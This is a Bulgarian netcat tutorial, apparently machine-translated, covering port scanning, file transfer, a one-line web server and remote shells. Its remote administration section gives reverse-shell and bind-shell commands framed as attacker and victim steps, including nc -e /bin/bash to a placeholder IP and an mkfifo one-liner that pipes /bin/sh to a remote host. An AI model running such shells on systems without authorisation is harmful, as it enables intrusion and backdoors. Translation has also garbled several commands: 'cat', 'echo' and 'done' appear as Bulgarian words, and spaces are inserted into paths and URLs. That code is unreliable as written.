Кратка разлика между netcat-traditional и netcat-openbsd
Налични са два подобни пакета за netcat с малка разлика между тях.
netcat-традиционен включва допълнителна опция '-e', която може да се използва за обвързване на програма (т.е.e bash) с netcat. Тази функция е много полезна за дистанционно администриране.
netcat-openbsd имат допълнителна поддръжка за IPv6 и прокси.
Инсталация на Netcat
Въпреки че netcat се предлага предварително инсталиран в повечето дистрибуции на Linux, но ако не е, той може да бъде инсталиран лесно с помощта на следните команди.
За традиционен пакет,
[имейл защитен]: ~ $ sudo apt-get install netcat-traditionalЗа версия на openbsd,
[имейл защитен]: ~ $ sudo apt-get install netcat-openbsdNetcat за Windows можете да изтеглите от тук https: // sourceforge.net / projects / nc110 / files /.
Сега ще разгледаме някои интересни случаи на използване на netcat
Сканиране на портове чрез netcat
За да сканирате за отворени портове, използвайте опцията '-z'. Netcat ще се опита да се свърже с всеки порт, без да изпраща никакви данни или много ограничени данни в UDP случай. Въведете следното
[имейл защитен]: ~ $ nc -z -v hackme.организация 80... изрязване ..
хакме.орг [217.78.1.155] 80 (http) отворен
За да сканирате за набор от портове, напишете
[имейл защитен]: ~ $ nc -z -nv 192.168.100.72 20-80(НЕИЗВЕСТНО) [192.168.100.72] 80 (http) отворен
(НЕИЗВЕСТНО) [192.168.100.72] 22 (ssh) отворен
Прехвърляне на файлове с netcat
Друг полезен случай на използване на netcat е трансферът на файлове между отдалечени компютри. Можете да изпращате текстове и двоични файлове от един компютър на друг компютър. Ще се опитаме да изпратим файл „файл.pdf ”от компютър с Linux на компютър с Windows [IP 192.168.100.72] като се използва netcat за пример.
На машина с Windows (приемник) въведете следното
C: \ Потребители> nc -nvlp 1337> файл.pdfСлушане на [0.0.0.0] (семейство 2, порт 1337)
На машина с Linux (изпращач) въведете следното
[имейл защитен]: ~ $ nc -nv 192.168.100.72 1337 < file.pdfВръзка към 192.168.100.72 1337 порт [tcp / *] успя!
Отдалечено администриране с netcat
Един от най-добрите случаи на използване на netcat е отдалеченото администриране, което означава, че можете да контролирате чужд компютър с помощта на netcat. Netcat-traditional се предлага с опция -e, която може да се използва за обвързване на програма (т.е.e cmd.exe в Windows или bash в Linux) с порт, което означава, че netcat ще действа като комуникатор между програмата и отдалечения компютър. Netcat ще получава команди от отдалечен компютър, ще изпълнява на локална система и ще изпраща резултатите обратно на отдалечения компютър. Тази функция се използва широко за злонамерени цели, за да се запазят задкулисни пространства в компютри и сървъри. Тази функция е достъпна само в netcat-traditional, но с малко трик, netcat-openbsd може да се използва за същата цел. Можете да използвате два начина за управление на компютъра на другите.
В Обратна обвивка връзка, нападателят изслушва порт и чака връзката да бъде изпратена от машината жертва. Използва се, когато компютърът на жертвата е зад NAT или няма публичен IP.
За да получите обратна обвивка, използвайки netcat, трябва да слушате на порт, използвайки netcat. Въведете следното на машината за атака,
[имейл защитен]: ~ $ nc -nvlp 1337Слушане на [0.0.0.0] (семейство 2, порт 1337)
На машината на жертвата (ако netcat-традиционен е инсталиран)
// заменим “/ bin / bash” с “cmd.exe “в случай на Windows
[имейл защитен]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bashЗа netcat-openbsd (където опцията „-e“ не се поддържа)
[имейл защитен]: ~ $ rm / tmp / f; mkfifo / tmp / f; кат/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f
Докато в a Bind Shell връзка, нападателят обвързва порт на машината на жертвата и се свързва с този порт с помощта на клиентски сокет. Използва се, когато машината на нападателя е зад NAT или няма публичен IP.
На машината на жертвата напишете
[имейл защитен]: ~ $ nc -nlvp 1337 -e / bin / bashслушам [всеки] 1337 ..
Сега, за да стартирате команди на машината-жертва, напишете
[имейл защитен]: ~ $ nc -nv 127.0.0.1 1337Връзка към 127.0.0.1 1337 порт [tcp / *] успя!
$ id
uid = 1000 (azad) gid = 1000 (azad) групи = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)
Прост уеб сървър, използващ netcat
Можете също така да направите още един прост трик, за да използвате netcat като минимален уеб сървър на една страница. Този уеб сървър ще бъде много прост, без специални конфигурации и ние ще използваме, за да изпратим нашия HTML код до браузъра.
[имейл защитен]: ~ $ while true; do echo -e "HTTP / 1.1 200 OK \ n \ n $ (ехо "
Моят прост уеб сървър, използващ netcat
")" | nc -nvlp 1337; СвършенСлушане на [0.0.0.0] (семейство 2, порт 1337)
Сега опитайте да извлечете уеб страницата с помощта на curl
[имейл защитен]: ~ $ curl http: // 127.0.0.1: 1337 /Моят прост уеб сървър, използващ netcat
Посочете времето за изчакване за netcat сесия
Можете да посочите времето за изчакване за netcat сесия, като използвате опцията “-w”. Netcat автоматично ще прекъсне сесията си след изтичане на определеното време.
// -w [Време в секунди][имейл защитен]: ~ $ nc -w 40 -nvlp 1337
Слушане на [0.0.0.0] (семейство 2, порт 1234)
Продължете да слушате, дори ако клиентът затвори връзката
В нормален режим сървърът на netcat се изключва и спира да слуша на порта, когато клиент затвори връзката. Можете да поддържате сървъра горе, като използвате опцията -k
[имейл защитен]: ~ $ nc -k -nlvp 1234Слушане на [0.0.0.0] (семейство 2, порт 1234)
Заключение
Netcat е проста, но ефективна помощна програма, която може да се използва за много прости ежедневни задачи. Той се предлага предварително инсталиран в почти всички UNIX като операционни системи и може да се използва за различни задачи като комуникация между два компютъра, прехвърляне на файлове и много други.